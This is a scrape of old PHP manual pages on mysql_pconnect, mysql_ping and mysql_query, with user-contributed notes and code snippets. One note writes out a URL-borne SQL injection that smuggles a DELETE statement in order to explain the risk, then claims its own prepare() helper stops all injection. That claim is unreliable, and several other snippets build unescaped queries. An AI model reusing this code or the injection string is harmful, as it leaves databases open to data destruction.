Here is the class (you'll need to customize the $SERVERS array for your configuration -- note that you would probably use the same username, password and database for all of the servers, just changing the host name, but you're not forced to use the same ones):

<?php
class MySQLConnectionFactory {
   static $SERVERS = array(
   array(
       'host' => 'myHost1',
       'username' => 'myUsername1',
       'password' => 'myPassword1',
       'database' => 'myDatabase1'),
   array(
       'host' => 'myHost2',
       'username' => 'myUsername1',
       'password' => 'myPassword2',
       'database' => 'myDatabase2')
   );

   public static function create() {
   // Figure out which connections are open, automatically opening any connections
   // which are failed or not yet opened but can be (re)established.
   $cons = array();
   for ($i = 0, $n = count(MySQLConnectionFactory::$SERVERS); $i < $n; $i++) {
       $server = MySQLConnectionFactory::$SERVERS[$i];
       $con = mysql_pconnect($server['host'], $server['username'], $server['password']);
       if (!($con === false)) {
       if (mysql_select_db($server['database'], $con) === false) {
           echo('Could not select database: ' . mysql_error());
           continue;
       }
       $cons[] = $con;
       }
   }
   // If no servers are responding, throw an exception.
   if (count($cons) == 0) {
       throw new Exception
       ('Unable to connect to any database servers - last error: ' . mysql_error());
   }
   // Pick a random connection from the list of live connections.
   $serverIdx = rand(0, count($cons)-1);
   $con = $cons[$serverIdx];
   // Return the connection.
   return $con;
   }
}
?>
tomek at 3kropki dot pl
30-Dec-2004 01:36
Instead of use wait_timeout, you can set interactive_timeout to short period of time (for ex. 20 sec.) this is a lot better solution in apache + mysql environment than wait_timeout.

To know more about interactive_timeout - look to mysql documentation.
federico dot chiesa at tiscali dot it
20-Nov-2004 09:08
Be very careful when using persistent connections and temporary tables on MySQL: in MySQL, temporary tables are visible only to the currenct connection, but if you have a persistent connection the temporary tables will supposedly be visible to everybody sharing the same persistent connection. This can lead to major trouble. I suggest to use totally random temporary table names when using persistent connections to avoid major problems.
markunderscoreconnollyatacmdotorg
28-Oct-2004 01:59
I would like to comment on the post from dfischer at qualcomm dot com that proposes spanning transactions over multiple application invocations, in case someone is bold enough to try it.

I'll assume the table types being used are one of those that support transactions, such as InnoDB or BerkeleyDB.

First, there is a question of whether this would work at all.  To work at all, the transaction context would have to be preserved across all the invocations of the php code through the web server.  Reading the description of http://www.php.net/manual/en/features.persistent-connections.php maintaining transaction context would be at best a coincidence.  It would be interesting to find out that this does work on occasion and to understand the ramifications of such behavior.  If I happened to get your connection and my action was a cancel, your updates might be gone.

Second, if such a thing did work (occassionally or always), there would be performance implications as the underlying database managed transactions that were pretty much open-ended.  A few long-running transactions would likely eat up many resources in a short time and the likelihood of concurrency conflicts could rise.  If the mysql_pconnect behavior is to keep transaction open at the end of php processing, then it would probably be better to not define transactions when using mysql_pconnect. And, transactions that were never closed by code (user went out to lunch and got hit by a bus) could hold resources for quite some time (maybe until after rehab).

So, even if such a scheme COULD work, it is not a good idea.  The transaction should be committed or rolled back at the end of the user request processing.  This allows the DBMS to properly manage resource ultilization and keeps bad things from happening to good data.  If mysql_pconnect does not coordinate well with the transaction component of the database engine to always end a transaction at the end of processing a request, then mysql_pconnect should never be used where begin transaction is used.
dfischer at qualcomm dot com
07-Jul-2004 08:57
You also may consider using pconnect if you have transactions that span multiple pages. For example, in applications that I develop, I start a transaction on the moment I query selecting the data that the user plans on editing. I then commit the transactions after the user hits the submit button and the data is committed.

I cannot simply use mysql_connect as then the connection would be terminated at the end of the page and if I did not commit my transaction, it is automatically rolled back.
matt *at* roughest *dot* net
11-Mar-2004 12:18
Be very careful when using persistent connections on a machine running multiple mysql servers. You must specify the correct socket path, otherwise PHP will reuse connections irregardless of what server they are connected to. That is, it will see an open connection with matching parameters and use it, even if the connection is actually for a different server.
mightye (at) mightye (dot) org
04-Feb-2004 08:19
Normally you do NOT want to use mysql_pconnect.  This function is designed for environments which have a high overhead to connecting to the database.  In a typical MySQL / Apache / PHP environment, Apache will create many child processes which lie in idle waiting for a web request to be assigned to them.  Each of these child processes will open and hold its own MySQL connection.  So if you have a MySQL server which has a limit of 50 connections, but Apache keeps more than 50 child processes running, each of these child processes can hold a connection to your MySQL server, even while they are idle (idle httpd child processes don't lend their MySQL connection to other httpd children, they hold their own).  So even if you only have a few pages which actually connect to MySQL on a busy site, you can run out of connections, with all of them not actually being used.

In general use mysql_connect() for connecting to MySQL unless that connection takes a long time to establish.
aaryal at foresightint dot com
16-Jan-2004 07:25
don't use pconnect in a situation with MySQL running on one host but on multiple ports (a multiple database configuration). the connection pooling algo in php apparently only keys off of the host, username and password but not the port. therefore, if you use the same host, username and password but a different port, you might get a connection that is connected to a different port than the one you asked for.
spam at vrana dot cz
05-Nov-2003 02:53
Be warned if you use different parameters for mysql_pconnect() in different scripts on server: PHP can create single persistent connection for every set of parameters in each process up to mysql.max_persistent (PHP directive) per process. So even if you have MaxClients Apache directive set lesser then max_connections MySQL directive, you can easily get Too many connections MySQL error.

If mysql.max_persistent is set to other value than -1 (unlimited, default value), connections over this limit are silently denied, so use it with care.

Solution: For servers with potentially unlimited set of connection parameters, forbid persistent connection with mysql.allow_persistent=Off.
script_this at yahoo dot com
06-Aug-2003 02:41
in response to uthayakutty76 at yahoo dot com's
30-Jun-2003 12:31 post:

-----------------------------------------------------------
...The problem is that the connection to the MySQL
servers is interrupted very quickly or there is not
connection at all. We found out that when using the
domain of the server instead of "localhost" problems
occur.....
-----------------------------------------------------------

try setting the wait_timeout variable in my.cnf for
mysql very high so the connections aren't ever idle for
that amount of time.  ridiculous really, but it works for
localhost or remote database server where as the
localhost solution only works if the database is local i
think.
pulstar at mail dot com
19-Jul-2003 02:13
I had some problems when connecting to a remote server with mysql_pconnect and using the flag MYSQL_CLIENT_COMPRESS. Sometimes it connect, but many times it give me the error:
Warning: mysql_pconnect(): Unknown database 'XXXXX'

If you have the same problem, try using mysql_connect instead. It worked fine for me. The script will take a long to reconnect each time the page is reloaded, but it will transfer data with compression. This is a little more secure than to send plain data over the Internet and also more faster when transmiting large amount of data.
rochlin at centralpets dot com
13-Jul-2003 11:27
Do not use transactions (e.g. with InnoDB MySQL tables) with persistent connections.  If your script stops or exits for any reason, your transaction will be left open and your locks will be left on.  You have to reset MySQL to release them (so far as I can figure).  They won't ROLLBACK automatically on error, like they ought to.  When you restart the script, you'll get a new connection, so you can't rollback or commit for the previous script.  Any script with a start transaction, rollback, or commit SQL statement should use regular (not persistent) connections.  Seems like PHP ought to automatically issue a ROLLBACK on any open transactions when a script exits (error or otherwise) without a COMMIT.  ZEND's site has a brief blurb on this.  It's OK to mix/match so you use a persistent connection for the read stuff, but open a new regular connection conditionally (if you have to update, which is usually less often).
rudenko at id.com.ua
09-Apr-2003 10:15
You can solve problem with persistent connections setting directive mysql.allow_persistent = Off in php configuration file. The users whitch will try to create persistant connetion /mysql_pconnect()/ will be connected to db
with nonpersistant connection /mysql_connect()/

For more info see user notes at section Persistant Connections. http://www.php.net/manual/en/features.persistent-connections.php
--
http://www.id.com.ua Ilya Rudenko
amn -at- frognet.net
12-Mar-2003 02:45
Be careful using mysql_pconnect. If you are hosting on an ISP, they may frown upon you using multiple persistant mysql connections as this consumes resources for a longer period of time. If your script crashes, your connection can stay open for long periods of time. If there is a loop involved, you could accidently eat up all the available connections. That might be considered abuse by an ISP and you could get in trouble. Try using mysql_connect first instead. 90% of the time, a non-persistant mysql_connect call will do the trick just fine.
fate_amendable_to_changeNOSPAM at yahoo dot com
30-Oct-2002 07:58
To tell mysql_pconnect to connect to mysql on a port other than the default use a colon - eg

mysql_pconnect("127.0.0.1:4444", "user", "pass")

would connect to localhost on port 4444

(useful for ssh tunneling etc)
david at acz dot org
24-Apr-2002 02:41
You need to be VERY careful when using LOCK TABLES with persistent connections.  If the script terminates before the UNLOCK TABLES is executed, the the table(s) will stay locked, and very likely hang future scripts.  This is noted in a bug report, but is still not reflected in the documentation: http://bugs.php.net/bug.php?id=7634
bartek at bulzak dot com
27-Feb-2002 06:37
PHP 4.1.1 running with Apache under Linux doesn't seem to be doing all necessary flushing when handling persistant mysql connections. Try it out for yourself. Create a temporary table in a pconnect session, add rows (non unique), select/display and drop the table. Now reload your script multiple times, you will see that your results are not consistent, even though you are creating a new table everytime and dropping it..

I had my share of problems with pconnect and suggest you don't use it unless absolutely necessary. In that case make sure you test your results for consistency, especially when your queries involve temporary tables or mysql session variables.

Bartek Bulzak
aramos at lander dot es
08-Mar-2001 02:15
If your MySQL recive this error log: "Got an error reading communication packets" see this post: http://marc.theaimsgroup.com/?l=php-dev&m=97858932431876&w=2. This patch work property in 4.0.4pl1 (when httpd.conf have MaxRequestsPerChild non-cero)
aramos at lander dot es
07-Mar-2001 07:52
if you set wait_timeout, and you have high number of connection closed, you need too, set max_connect_errors (in MySQL) http://www.mysql.com/doc/en/Blocked_host.html
sasha at mysql dot com
28-Apr-2000 12:43
If you need to close idle persistent connections, set a low wait_timeout in MySQL
add a note add a note

后退 | 起点 | 前进
mysql_num_rows | 上一级 | mysql_ping


mysql_ping

(PHP 4 >= 4.3.0, PHP 5)

mysql_ping -- Ping 一个服务器连接，如果没有连接则重新连接

说明

bool mysql_ping ( [resource link_identifier] )

mysql_ping() 检查到服务器的连接是否正常。如果断开，则自动尝试连接。本函数可用于空闲很久的脚本来检查服务器是否关闭了连接，如果有必要则重新连接上。如果到服务器的连接可用则 mysql_ping() 返回 TRUE，否则返回 FALSE。

参见 mysql_thread_id() 和 mysql_list_processes()。

add a note add a note User Contributed Notes
cybot2000 at yahoo dot de
26-May-2005 07:44
It should be noted that mysql_ping() seems to reset the error message on the server.
I used it to check whether the connection was still alive before reading the error message via mysql_error() and it always returned an empty string. Upon removing the connection check everything worked.
vinicius at teracom dot com dot br
16-Mar-2004 11:35
Is important to remember that if your first connection to mysql don't works, mysql_ping will always return true! So, if you want to check if mysql is connected, first of all you must check if mysql_connect do not returns false and then you can begin to check mysql_ping.
add a note add a note

后退 | 起点 | 前进
mysql_pconnect | 上一级 | mysql_query


mysql_query

(PHP 3, PHP 4, PHP 5)

mysql_query -- 发送一条 MySQL 查询

说明

resource mysql_query ( string query [, resource link_identifier] )

mysql_query() 向与指定的连接标识符关联的服务器中的当前活动数据库发送一条查询。如果没有指定 link_identifier，则使用上一个打开的连接。如果没有打开的连接，本函数会尝试无参数调用 mysql_connect() 函数来建立一个连接并使用之。查询结果会被缓存。

注: 查询字符串不应以分号结束。

mysql_query() 仅对 SELECT，SHOW，EXPLAIN 或 DESCRIBE 语句返回一个资源标识符，如果查询执行不正确则返回 FALSE。对于其它类型的 SQL 语句，mysql_query() 在执行成功时返回 TRUE，出错时返回 FALSE。非 FALSE 的返回值意味着查询是合法的并能够被服务器执行。这并不说明任何有关影响到的或返回的行数。 很有可能一条查询执行成功了但并未影响到或并未返回任何行。

以下查询语法上有错，因此 mysql_query() 失败并返回 FALSE：

例子 1. mysql_query() 例子

<php
$result = mysql_query("SELECT * WHERE 1=1")
    or die("Invalid query: " . mysql_error());
?>

以下查询当 my_col 并不是表 my_tbl 中的列时语义上有错，因此 mysql_query() 失败并返回 FALSE：

例子 2. mysql_query()

<?php
$result = mysql_query("SELECT my_col FROM my_tbl")
    or die("Invalid query: " . mysql_error());
?>

如果没有权限访问查询语句中引用的表时，mysql_query() 也会返回 FALSE。

假定查询成功，可以调用 mysql_num_rows() 来查看对应于 SELECT 语句返回了多少行，或者调用 mysql_affected_rows() 来查看对应于 DELETE，INSERT，REPLACE 或 UPDATE 语句影响到了多少行。

仅对 SELECT，SHOW，DESCRIBE 或 EXPLAIN 语句 mysql_query() 才会返回一个新的结果标识符，可以将其传递给 mysql_fetch_array() 和其它处理结果表的函数。处理完结果集后可以通过调用 mysql_free_result() 来释放与之关联的资源，尽管脚本执行完毕后会自动释放内存。

参见 mysql_num_rows()，mysql_affected_rows()，mysql_unbuffered_query()，mysql_free_result()，mysql_fetch_array()，mysql_fetch_row()，mysql_fetch_assoc()，mysql_result()，mysql_select_db() 和 mysql_connect()。

add a note add a note User Contributed Notes
cedric ___at___ sadai ___dot___ net
05-Jun-2006 11:26
This is a quick way for adding data to a table. It is the same way than PEAR::DB, so if you are working on a server without PEAR, it enables you to keep up with your habits.

<?php

function    insertIntoDB($table, $toAdd)
{
   $fields = implode(array_keys($toAdd), ',');
   $values = implode(array_values($toAdd), ',');

   $q = 'INSERT INTO `'.$table.'` ('.$fields.') VALUES ('.$values.')';
   $res = mysql_query($q)OR die(mysql_error());

   return    true;
}

//-- Example of usage
$tToAdd = array('id'=>3, 'name'=>'Yo', 'salary' => 5000);
insertIntoDB('myTable', $tToAdd)

?>
matt
21-Mar-2006 07:45
Just realised I posted the wrong functions. Oops!

Here you go....

<?php
function compile_insert_string($data)
{
   $field_names  = "";
   $field_values = "";

   foreach ($data as $k => $v)
   {
       $v = preg_replace( "/'/", "\\'", $v );
       //$v = preg_replace( "/#/", "\\#", $v );
       $field_names  .= "$k,";
       $field_values .= "'$v',";
   }

   $field_names  = preg_replace( "/,$/" , "" , $field_names  );
   $field_values = preg_replace( "/,$/" , "" , $field_values );

   return array('FIELD_NAMES'  => $field_names,
                 'FIELD_VALUES' => $field_values,
               );
}

//------------------------------------------
// insert_query
//
// Wrapper for an insert query
//------------------------------------------

function insert_query($data, $table)
{
   if (!is_array($data) or count($data) < 1)
   {
       $this->fatal_error("Insert data missing");
   }

   $insert = $this->compile_insert_string($data);
   $query = "INSERT INTO {$table} (".$insert['FIELD_NAMES'].") VALUES (".$insert['FIELD_VALUES'].")";

   return $this->query($query);
}
?>
yankee at gmeil dot com
10-Mar-2006 06:07
Another shorter possibility to print options of an ENUM as <select>-tag:
<?php
$result=mysql_query('SHOW COLUMNS FROM <your table> WHERE field=\'<you column>\'');
while ($row=mysql_fetch_row($result))
{
   foreach(explode("','",substr($row[1],6,-2)) as $v)
   {
     print("<option>$v</option>");
   }
}
?>
gconnor at sgi dot com
02-Mar-2006 09:19
I happily grabbed and used the "mysql_prepare()" function given in the first note above.  All is well.

I made a slight tweak so that I could feed in NULL values without getting an empty string (or 0) instead.

   // mysql_query() wrapper. takes two arguments. first
   // is the query with '?' placeholders in it. second argument
   // is an array containing the values to substitute in place
   // of the placeholders (in order, of course).
   // Pass NULL constant in array to get unquoted word NULL
   function mysql_prepare ($query, $phs = array()) {
       foreach ($phs as $ph) {
           if ( isset($ph) ) {
               $ph = "'" . mysql_real_escape_string($ph) . "'";
           } else {
               $ph = "NULL" ;
           }
           $query = substr_replace(
               $query, $ph, strpos($query, '?'), 1
           );
       }
       return mysql_query($query);
   }

Sample function call:
       // Check to see if all variables are defined
       if ( isset($f_hostid,$f_eventid,$f_owner,$f_comment) ) {
               // For numeric values, blank means NULL
               if ( $f_eventid=="" ) { $f_eventid = NULL ; }
               $result = mysql_prepare(
                       'UPDATE Hosts SET event_id=?, owner=?, comment=? WHERE id=?',
                       array( $f_eventid,$f_owner,$f_comment, $f_hostid )
                       );
               if (!$result) {
                       $message  = 'Error while updating: ' . mysql_error() . "<br />\n";
                       die($message);
               }
               echo "Update successful. <br />\n" ;
       } else {
               echo "Missing value.  Update failed... check form logic. <br />\n" ;
       }
23-Feb-2006 03:11
If, like me, you come from perl, you may not like having to use sprintf to 'simulate' placeholders that the DBI package from perl provides. I have created the following wrapper function for mysql_query() that allows you to use '?' characters to substitute values in your DB queries. Note that this is not how DBI in perl handles placeholders, but it's pretty similar.

<?php
   // mysql_query() wrapper. takes two arguments. first
   // is the query with '?' placeholders in it. second argument
   // is an array containing the values to substitute in place
   // of the placeholders (in order, of course).
   function mysql_prepare ($query, $phs = array()) {
       foreach ($phs as $ph) {
           $ph = "'" . mysql_real_escape_string($ph) . "'";
           $query = substr_replace(
               $query, $ph, strpos($query, '?'), 1
           );
       }

       return mysql_query($query);
   }

   // sample usage
   list($user, $passwd) = array('myuser', 'mypass');

   $sth = mysql_prepare(
       'select userid from users where userid=? and passwd=?',
       array($user, sha1($passwd))
   );
   $row = mysql_fetch_row($sth);

   // successfull username & password authentication
   if ($row !== false) {
       echo "logging in as '{$row[0]}'!\n";
   }

   // oops, wrong userid or passwd
   else {
       echo "Invalid username and password combination.\n";
   }
?>
brjann at no dot gmail dot spam dot com
23-Feb-2006 06:07
Using mysql 4 w/o stored procedures can become quite tedious, especially when writing a lot of standard sql-statements all the time.

These two functions, standardSQLInsert and standardSQLUpdate, handle most of my uncomplex cases of  updating and inserting into tables. Note the use of the quote_smart function, described at http://php.net/mysql_real_escape_string, making all queries safe.

<?php
   function standardSQLInsert($strTableName, $arrValuePairs){
       $strSeparator = '';
       $strCols = '';
       $strValues = '';
       foreach ($arrValuePairs as $strCol => $strValue) {
           $strCols = $strCols.$strSeparator.$strCol;
           $strValues = $strValues.$strSeparator.quote_smart($strValue);
           $strSeparator = ',';
       }
       mysql_query("INSERT INTO $strTableName ($strCols) VALUES($strValues)");
   }

   function standardSQLUpdate($strTableName, $arrValuePairs, $arrConditionPairs){
       $strSeparator = '';
       $strSetStatements = '';
       $strUpdateConditions = '';
       foreach ($arrValuePairs as $strCol => $strValue){
           $strSetStatements = $strSetStatements.$strSeparator.$strCol.'='.quote_smart($strValue);
           $strSeparator = ',';
       }
       $strSeparator = '';
       foreach ($arrConditionPairs as $strCol => $strValue){
           $strUpdateConditions = $strUpdateConditions.$strSeparator.$strCol.'='.quote_smart($strValue);
           $strSeparator = ' AND ';
       }
       $strUpdateConditions = '('.$strUpdateConditions.')';
       mysql_query("UPDATE $strTableName SET $strSetStatements WHERE $strUpdateConditions");
   }

//example
$arrValuePairs = array('Col1' => 'Value1', 'Col2' => 'Value2');
$arrConditionPairs = array('Col3' => 'Value3', 'Col4' => 'Value4');

standardSQLInsert('mytable',$arrValuePairs);
//yields "INSERT INTO mytable (Col1,Col2) VALUES ('Value1','Value2')"

standardSQLUpdate('mytable',$arrValuePairs,$arrConditionPairs);
//yields "UPDATE mytable SET Col1 = 'Value1', Col2 = 'Value2' WHERE (Col3 = 'Value3' AND Col4 = 'Value4')"
?>
aidan at mcquay dot org
07-Feb-2006 04:03
Here's a slight revision of --celtics parse sql file function.  Just fixed a typo: $sql_line != $sql

<?
  function parse_mysql_dump($url, $ignoreerrors = false) {
   $file_content = file($url);
   //print_r($file_content);
   $query = "";
   foreach($file_content as $sql_line) {
     $tsl = trim($sql_line);
     if (($sql_line != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {
       $query .= $sql_line;
       if(preg_match("/;\s*$/", $sql_line)) {
         $result = mysql_query($query);
         if (!$result && !$ignoreerrors) die(mysql_error());
         $query = "";
       }
     }
   }
  }
?>
Harmor
18-Dec-2005 09:32
Modification of hipsurgery submission.  Here's a utility function that will return an array of a table.  Don't forget to connect to the DB before calling this function.
<?php
//Returns an array[columnName] = value of a $table_name
function table_to_array($table_name)
{
  $columns = array();

  $result_all= mysql_query("SELECT * FROM $table_name");
  $result_columns = mysql_query("SHOW COLUMNS FROM $table_name");

  //get the columns from the table into $colums[]
  while ($columnRow = mysql_fetch_array($result_columns, MYSQL_ASSOC))
  {
   $columns[] = $columnRow
  }

  while ($data = mysql_fetch_assoc($result_all, MYSQL_ASSOC))
  {
   foreach ($columns as $column_name)
   {
     $array[$column_name] = $data[$column_name];
   }
  }
return $array;
}
?>
hipsurgery at gmail dot com
06-Nov-2005 02:30
This function will take the contents of any MySQL table, given only the table name, and return it as an index / associative multi-dimensional array in the form of:

$array[$row_number][$column_name] = $value;

I've found this very useful when you don't want to parse the table's contents in to HTML tags during a mysql_fetch_array() iteration.

<?php
function db_to_array($table_name) {

$cols = array();
$x=0;
$this_row=0;

mysql_connect(HOST,USERNAME,PASSWORD);
@mysql_select_db(DATABASE) or die( "Unable to select database");

$result_all=mysql_query("SELECT * FROM $table_name");
$result_cols = mysql_query("SHOW COLUMNS FROM $table_name");

mysql_close();

$numfields = mysql_num_fields($result_all);

for($i=0;$i<mysql_num_rows($result_cols);$i++)
  {
   $cols[] = mysql_result($result_cols, $i);
  }

while ($data = mysql_fetch_assoc($result_all))
  {
   if ($x<$numfields)
     {
       $x++;
     }
   else
     {
       $x = 0;
       $this_row++;
         }

   foreach ($cols as $col_name)
     {
       $array[$this_row][$col_name] = $data[$col_name];
     }

   mysql_data_seek($result_all, $this_row);

  }

return $array;

}

// Test the function...

$test_array = db_to_array("shows");

foreach ($test_array as $outer_key => $single_array)
  {
   foreach ($single_array as $inner_key => $value)
     {
       echo "\$test_array[$outer_key][$inner_key] = $value<br />";
     }
  }
?>

I'm just a hobbyist, so feel free to comment on my code or (worse!) tell me that there's some native PHP function that already does this!
congaz at yahoo dot dk
26-Oct-2005 05:46
Here's a little trick to help you keep track of MySQL table/column names, and the values you want to insert/select.

I always use constants instead of variables for my table/column names. The script that define the constants can then dynamically be set to initialize different table/column names if needed. However, here comes the trick.

Say you have an Insert statement like this:
<?=
// define(TABLE_DOCUMENT, 'table_name');
// define(COL_DOC_PUBLIC, 'column_name');
// etc....

$sql =    "INSERT INTO ".TABLE_DOCUMENT."
                       (".COL_DOC_PUBLIC.", ".COL_DOC_UPLOAD_TSTAMP.", ".COL_DOC_CREATOR_NAME.") VALUES (".$doc_public.", ".$doc_upload_tstamp.", ".$doc_name.")";
?>
Now, with long insert statements, I find it easy to loose track of which values goes with which column names. If I somehow could use the constants as variable names, keeping track of all that sql mishmash would be quite a lot easier.

As it turns out, constants names can be used as variable variables (not quite the correct definition when we're actually dealing with constants, but what the heck).

So,the sql above could instead be like this:
<?=
${COL_DOC_PUBLIC} = $doc_public;
${COL_DOC_UPLOAD_TSTAMP} = $doc_upload_tstamp;
${COL_DOC_CREATOR_NAME} = $doc_name;

$sql =    "INSERT INTO ".TABLE_DOCUMENT."
                       (".COL_DOC_PUBLIC.", ".COL_DOC_UPLOAD_TSTAMP.", ".COL_DOC_CREATOR_NAME.") VALUES (".${COL_DOC_PUBLIC}.", ".${COL_DOC_UPLOAD_TSTAMP}.", ".${COL_DOC_CREATOR_NAME}.")";
?>
This little trick made things alot easier for me - especially when dealing with extended querys, where you might have to use the same values in severel insert/select statements. Another thing is, that you can wait to use addslashes()/my_sql_real_escape_string until you create the "variable constants" - thus the task of remebering which values have been prepared to be used in an sql-statement has become fool-proof.

Hope somebody finds this usefull...
php at arcannon dot com
02-Oct-2005 06:30
I believe there is a typo in celtic at raven-blue dot com version with:

if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I think you really ment:

if (($tsl != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I changed the $sql to $tsl
celtic at raven-blue dot com
10-Sep-2005 10:03
Here's a revision of ix at nivelzero -and- thomas at pixur's code. This SQL dump parser fixes the check for comments that was present in the old (ie. a '--' located anywhere in the string would make it ignore that line!), and adds the check for the # comment. That had me thinking.

<?php
  function parse_mysql_dump($url, $ignoreerrors = false) {
   $file_content = file($url);
   $query = "";
   foreach($file_content as $sql_line) {
     $tsl = trim($sql_line);
     if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {
       $query .= $sql_line;
       if(preg_match("/;\s*$/", $sql_line)) {
         $result = mysql_query($query);
         if (!$result && !$ignoreerrors) die(mysql_error());
         $query = "";
       }
     }
   }
  }
?>
thomas -at - pixtur -dot- de
16-Aug-2005 05:14
a comment on nivelzero's excellent sql-dump-script.

It was excactly what I was looking for. Sadly in my case the sql-dump had dos-style linebreaks. Changing the regex to ...

   if(preg_match("/;\s*$/", $sql_line)){

... will make the function working on both platforms. Thanks for the script.
ix at nivelzero dot ro
14-Aug-2005 06:07
here's a script for parsing a *.sql file (tested only on dumps created with phpMyAdmin) which is short and simple (why do people say "here's a short and simple script" and it has a 100 lines?). the script skips comments and allows ; to be present within the querys

<?php
  function parse_mysql_dump($url){
   $file_content = file($url);
   $query = "";
   foreach($file_content as $sql_line){
     if(trim($sql_line) != "" && strpos($sql_line, "--") === false){
       $query .= $sql_line;
       if(preg_match("/;[\040]*\$/", $sql_line)){
         $result = mysql_query($query)or die(mysql_error());
         $query = "";
       }
     }
   }
  }
?>
kagekonjou at gmail dot com
01-Jun-2005 01:06
Due to the easy ways SQL can be injected into websites and thus virtually ruin a website that is dependant on databasing, I created a 'prepare' function similar to the way sprintf works.

<?php
/* Wildcard Rules
 * SCALAR  (?) => 'original string quoted'
 * OPAQUE  (&) => 'string from file quoted'
 * MISC    (~) => original string (left 'as-is')
 */
function prepare() {
 /* MySQL Prepare Function
  * By: Kage (Alex)
  * KageKonjou@GMail.com
  */
 $data = func_get_args();
 $query = $data[0];
 $tokens = split("[\&\?\~]", $query);
 $preparedquery = $tokens[0];
 $count = strlen($tokens[0]);
 for ($i=1; $i<count($tokens); $i++) {
  $char = substr($query, $count, 1);
  $count += (strlen($tokens[$i])+1);
  if ($char == "&") {
   $fp = @fopen($data[$i], 'r');
   $pdata = "";
   if ($fp) {
   while (($buf = fread($fp, 4096)) != false) {
     $pdata .= $buf;
   }
   fclose($fp);
   }
  } else {
   $pdata = &$data[$i];
  }
  $preparedquery .= ($char != "~" ? mysql_escape_string($pdata) : $pdata);
  $preparedquery .= $tokens[$i];
 }
 return $preparedquery;
}
?>

This function has been stress-tested, and does work.  Example use:

$prep_query = prepare("SELECT ?,? FROM ? WHERE '?' LIKE '&'", "lastname", "address", "addressbook", "lastname", "B%");

$prep_query now has the value of "SELECT lastname,address FROM addressbook WHERE 'lastname' LIKE 'B%'"

In essence, as explained in the Wildcard Rules, ? is a quoted string, & is quoted from file, and ~ is raw ('AS-IS').  This function is to be used to make-safe SQL that is touched by a web interface.  A main example would be forum pages (Ie. thread.php?fid=12&tid=12345).  SQL could be injected at this point, such as " thread.php?fid=12&tid=12345'; DELETE FROM prefix_posts WHERE `id` LIKE '1%' ", which would essentially destroy that forum unless routine backups are made.  This function, if used properly, can prevent any type of injections, turning the above injection into " thread.php?fid=12&tid=12345\'; DELETE FROM prefix_posts WHERE \`id\` LIKE \'1%\' ", making it look for thread-id of everything from 12345 to 1%', making it a safe, though broken SQL.

Comments and suggestions are welcome, and use of this function is free and under the Honor System (hoping you give credit where credit is due), since I'm too lazy to tack on a GNU.
wjyong at sh163 dot net
01-May-2005 07:21
The following query is not valid as expected:
<?php
$username = 'dicteworld';
$username{4} = '';
$sql = "SELECT * FROM `user` WHERE `User` = '$username'";
print($sql); // Result: SELECT * FROM `user` WHERE `User` = 'dictworld'
$res = mysql_query($query);
$row = mysql_fetch_array($res);
print_r($row);// Result: still return Array(), supposed that the user 'dictworld' exists.
?>
Pay more attention that null string '' is equivalent to '\0',therefore SQL statement above is equivalent to SELECT * FROM `user` WHERE `User` = 'dict\0world',though printing string is right.
jon at websandbox dot net
26-Jan-2005 09:25
I think it's important to note (for newbies, like me especially) that an empty result is not the same as an error:
<?php
/* 'bar' is an empty table in the db */
$rs = mysql_query("SELECT `foo` FROM `bar`")
if($rs) {
  echo mysql_num_rows($rs); //outputs: 0
}
andregodin at gmail dot com
19-Nov-2004 05:03
Another "dumping" function but with the optional possibility to choose wich field_name to be dumped.  "Have Fun and please email me if you do optimization of this code"

<?php
function mysql_format($strTemp){
   //Format sql sentence for insert
   $bad_chars= array("\\", "'", "\"");
   $good_chars = array("\\\\", "''", "\"\"");
   return str_replace($bad_chars, $good_chars, $strTemp);
}

function mysql_dump_table(){
   /*******************\
   *  MYSQL_DUMP_TABLE  *********************************\
   *  Paramtres :                                      *
   *    1- Table Name                                    *
   *  2- Field(s) (in string format) Name to be dumped  *
   *      If empty, all field will be dumped            *
   \******************************************************/

   if (!(func_num_args())) die ("<b>mysql_dump_table</b>: Need At Least A Table Name");

   $arg_list = func_get_args();
   $arrReturn = "";
   $strTblName = mysql_format("`{$arg_list[0]}`");
   $strFields = "*";

   if (func_num_args() > 1){
       $strFields = "";
       for ($noArg=1; $noArg<func_num_args(); $noArg++){
           if ($strFields) $strFields .= ", ";
           $strFields .= "`$arg_list[$noArg]`";
       }
   }

   $result = mysql_query("SELECT $strFields FROM $strTblName") or die ("Incapable d'excuter la requte");

   $nbRecord = 0;
   while ($row = mysql_fetch_assoc($result)){
       $strFieldsNames = "";
       $strFieldsValues = "";

       foreach ($row as $field_name => $field_value){
           if ($strFieldsNames) $strFieldsNames .= ", ";
           $strFieldsNames .= "`$field_name`";

           if($strFieldsValues) $strFieldsValues .= ", ";
           $strFieldsValues .= "'" . mysql_format($field_value) . "'";
       }

       $arrReturn[$nbRecord++] = "INSERT INTO $strTblName($strFieldsNames) values($strFieldsValues);";
   }
   mysql_free_result($result);
   return $arrReturn;
}

require_once("config_connexion_db_test.php");

/****************
* AUTRE EXEMPLE  **********************************************
*    Vous pouvez dcider d'afficher quelques champs seulements *
*  en spcifiant les champs dsir                            *
**************************************************************/
$db = mysql_connect(DBTEST_HOST, DBTEST_USER, DBTEST_PASSWORD) or die("Impossible de se connecter : ");
mysql_select_db(DBTEST_NAME, $db);

$result = mysql_dump_table("tbl_produits", "code_produit", "description");

foreach ($result as $sentence){
   //Afficher chaque lment du tableau
   print "$sentence<br>";
}
mysql_close($db);

//Retourne
/********************************************************
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit1', 'don\'t have description');
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit2', 'without \"description\" too');
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit3', '1\\3 more than before');
...
...
*********************************************************/

?>
PHP is a very nice language!
Andr Godin :)
me at harveyball dot com
11-Sep-2004 04:13
Just thought id post this as i couldnt find a nice and simple way of dumping data from a mysql database and all the functions i found were way overly complicated so i wrote this one and thought id post it for others to use.

//$link is the link to the database file
//$db_name is the name of the database you want to dump
//$current_time is just a reference of time()

//returns $thesql which is a string of all the insert into statements

function dumpData()
{
global $link,$db_name,$current_time;
$thesql="";
$thesql.="#SQL DATA FOR $mdb_name \n";
$thesql.="#BACK UP DATE ". date("d/m/Y G:i.s",$current_time)." \n";
